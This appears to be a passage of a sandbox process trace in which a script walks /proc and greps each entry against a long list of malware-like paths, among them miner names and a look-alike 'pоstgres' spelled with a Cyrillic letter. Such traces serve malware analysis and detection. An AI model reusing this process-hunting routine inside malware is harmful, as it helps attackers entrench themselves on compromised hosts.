  2⤵
  PID:1075
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1074
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1077
- /bin/grep
  grep exe
  2⤵
  PID:1081
- /bin/ls
  ls -latrh /proc/711
  2⤵
  PID:1080
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1083
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1085
- /bin/grep
  grep exe
  2⤵
  PID:1086
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1088
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1090
- /bin/grep
  grep exe
  2⤵
  PID:1091
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1093
- /bin/ls
  ls -latrh /proc/730
  2⤵
  PID:1095
- /bin/grep
  grep exe
  2⤵
  PID:1096
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1098
- /bin/ls
  ls -latrh /proc/731
  2⤵
  PID:1100
- /bin/grep
  grep exe
  2⤵
  PID:1101
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1103
- /bin/grep
  grep exe
  2⤵
  PID:1106
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1105
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1108
- /bin/grep
  grep exe
  2⤵
  PID:1111
- /bin/ls
  ls -latrh /proc/741
  2⤵
  PID:1110
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1113
- /bin/grep
  grep exe
  2⤵
  PID:1116
- /bin/ls
  ls -latrh /proc/746
  2⤵
  PID:1115
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1118
- /bin/grep
  grep exe
  2⤵
  PID:1121
- /bin/ls
  ls -latrh /proc/747
  2⤵
  PID:1120
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1123
- /bin/grep
  grep exe
  2⤵
  PID:1126
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1125
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1128
- /bin/grep
  grep exe
  2⤵
  PID:1131
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1130
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1133
- /bin/grep
  grep exe
  2⤵
  PID:1136
- /bin/ls
  ls -latrh /proc/78
  2⤵
  PID:1135
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1138
- /bin/grep
  grep exe
  2⤵
  PID:1141
- /bin/ls
  ls -latrh /proc/79
  2⤵
  PID:1140
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1143
- /bin/grep
  grep exe
  2⤵
  PID:1146
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1145
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1148
- /bin/grep
  grep exe
  2⤵
  PID:1151
- /bin/ls
  ls -latrh /proc/82
  2⤵
  PID:1150
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1153
- /bin/grep
  grep exe
  2⤵
  PID:1156
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1155
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1158
- /bin/grep
  grep exe
  2⤵
  PID:1161
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1160
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1163
- /bin/grep
  grep exe
  2⤵
  PID:1166
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1165
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1168
- /bin/grep
  grep exe
  2⤵
  PID:1171
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1170
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1173
- /bin/grep
  grep exe
  2⤵
  PID:1176
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1175
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1178
- /bin/grep
  grep exe
  2⤵
  PID:1181
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1180
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1183
- /bin/grep
  grep exe
  2⤵
  PID:1186
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1185
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1188
- /bin/grep
  grep exe
  2⤵
  PID:1191
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1190
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1193
- /bin/grep
  grep exe
  2⤵
  PID:1196
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1195
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1198
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1200
- /bin/grep
  grep exe
  2⤵
  PID:1201
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1204
- /bin/grep
  grep exe
  2⤵
  PID:1208
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1207
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1210
- /bin/grep
  grep exe
  2⤵
  PID:1214
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1213
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1217
- /bin/grep
  grep exe
  2⤵
  PID:1220
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1219
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1223
- /bin/grep
  grep exe
  2⤵
  PID:1227
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1226
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1229
- /bin/grep
  grep exe
  2⤵
  PID:1233
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1232
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1236
- /bin/grep
  grep exe
  2⤵
  PID:1239
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1238
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1242
- /bin/grep
  grep exe
  2⤵
  PID:1246
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1245
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1248
- /bin/grep
  grep exe
  2⤵
  PID:1252
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1251
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1255
- /bin/grep
  grep exe
  2⤵
  PID:1258
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1257
- /bin/grep
